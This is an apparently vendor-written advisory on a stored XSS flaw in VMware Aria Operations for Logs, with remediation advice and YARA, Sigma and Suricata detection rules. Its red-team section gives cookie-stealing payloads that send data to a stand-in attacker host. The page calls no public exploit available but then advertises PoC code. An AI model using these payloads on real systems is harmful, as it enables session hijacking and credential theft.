CVE-2025-22221
Executive Summary
CVE-2025-22221 is a stored cross-site scripting (XSS) vulnerability in VMware Aria Operations for Logs. An attacker with admin privileges can inject a malicious script into the Agent Configuration interface. When a victim (typically another admin or operator) performs a delete action in that configuration, the injected script executes in their browser. This can lead to session hijacking, credential theft, or further lateral movement within the VMware ecosystem.
The vulnerability has a CVSS score of 5.2 (Medium), with a low EPSS score (0.0%) indicating no active exploitation in the wild at the time of analysis. No public exploit code or Nuclei template is available. The vendor has not released a patch or advisory, leaving systems in an unpatched state.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to open-source packages (NPM, PyPI, Go, Ruby). It affects a proprietary VMware product. No supply chain compromise is indicated.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): High (H) – Attacker must have admin privileges.
- User Interaction (UI): Required (R) – Victim must perform a delete action.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. The requirement for admin privileges reduces the attack surface, but the stored XSS can be used for privilege escalation or lateral movement within the VMware environment.
Deep Dive & Mechanics
The vulnerability resides in the Agent Configuration module of VMware Aria Operations for Logs. The application fails to properly sanitize user-supplied input when creating or editing agent configurations. An admin user can inject arbitrary HTML/JavaScript into fields such as the agent name, description, or custom parameters.
When another admin (or the same admin) navigates to the Agent Configuration list and performs a delete action (e.g., clicking a delete button or confirming deletion), the injected script is rendered in the browser context. This is a classic stored XSS attack.
Attack Flow:
- Attacker with admin privileges logs into the VMware Aria Operations for Logs web interface.
- Attacker creates or edits an agent configuration, injecting a malicious payload (e.g.,
<script>alert('XSS')</script>) into a vulnerable field. - The payload is stored in the application database.
- A victim admin navigates to the Agent Configuration page and attempts to delete the malicious agent configuration.
- The delete action triggers a page reload or AJAX call that renders the stored payload, executing the script in the victim's browser.
- The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.
Vulnerable vs. Patched Code
No official patch is available. The vulnerable code likely lacks output encoding or sanitization in the delete confirmation dialog or the agent configuration list view.
Vulnerable Code (Conceptual):
// Vulnerable: Directly inserts user input into HTML
function renderAgentConfig(config) {
document.getElementById('agent-list').innerHTML +=
'<div class="agent-item">' + config.name + '</div>';
}
Patched Code (Conceptual):
// Patched: Uses textContent to prevent XSS
function renderAgentConfig(config) {
var div = document.createElement('div');
div.className = 'agent-item';
div.textContent = config.name;
document.getElementById('agent-list').appendChild(div);
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Admin credentials to VMware Aria Operations for Logs.
- Network access to the web interface.
Exploitation Steps:
- Log in as an admin.
- Navigate to Administration > Agent Configuration.
- Click Add or Edit an existing agent.
- In the Agent Name field, inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the configuration.
- Wait for a victim admin to view the agent list and attempt to delete the malicious agent.
- The victim's browser will execute the script, sending their session cookie to the attacker's server.
Alternative Payload (Session Hijacking):
<img src=x onerror="new Image().src='https://attacker.com/steal?cookie='+document.cookie">
Blue Team
Detection:
- Monitor for unusual admin activity, especially creation of agent configurations with suspicious characters (e.g.,
<,>,script). - Use web application firewall (WAF) rules to block XSS payloads in agent configuration fields.
- Enable logging of all admin actions and review for anomalies.
Hunting:
- Search logs for patterns like
%3Cscript%3Eor%3Cimg%20src%3Dx%20onerror%3D. - Check for outbound connections from the VMware Aria Operations for Logs server to unknown IPs (potential C2 or data exfiltration).
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP/HTTPS requests to attacker-controlled domains (e.g.,
attacker.com). - Suspicious User-Agent strings in logs (if attacker uses custom scripts).
- Outbound HTTP/HTTPS requests to attacker-controlled domains (e.g.,
- File IOCs:
- Modified agent configuration entries in the database containing HTML/JavaScript.
- Log IOCs:
- Repeated failed delete actions on the same agent configuration.
- Unusual admin login times or IP addresses.
Detection Engineering
YARA Rule
rule CVE_2025_22221_XSS_Payload {
meta:
description = "Detects stored XSS payloads in VMware Aria Operations for Logs agent configurations"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-22221"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /<img[^>]*onerror\s*=/i
$xss3 = /<svg[^>]*onload\s*=/i
condition:
any of them
}
Sigma Rule
title: Stored XSS in VMware Aria Operations for Logs Agent Configuration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects creation or modification of agent configurations containing XSS payloads
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-22221
logsource:
product: vmware
service: aria_operations_for_logs
detection:
selection:
EventID: 1001 # Example: Agent configuration change event
Payload|contains|all:
- '<script'
- '</script>'
condition: selection
falsepositives:
- Legitimate use of HTML in agent descriptions (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-22221 Stored XSS Payload in Agent Config"; flow:to_server,established; content:"POST"; http_method; content:"/agent-config"; http_uri; content:"<script"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict Admin Access: Limit the number of users with admin privileges to only those absolutely necessary.
- Input Validation: Implement strict input validation and output encoding for all agent configuration fields. Use a whitelist approach for allowed characters.
- Web Application Firewall (WAF): Deploy WAF rules to block XSS payloads in HTTP requests to the agent configuration endpoints.
- Monitor Logs: Enable detailed audit logging for all admin actions and review regularly for suspicious activity.
Long-Term Fix:
- Await an official patch from VMware. Once released, apply it immediately to all affected instances.
- Consider upgrading to a patched version of VMware Aria Operations for Logs if available.
Workaround:
- If patching is not possible, disable the Agent Configuration module for non-essential admins or implement a manual review process for all agent configuration changes.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.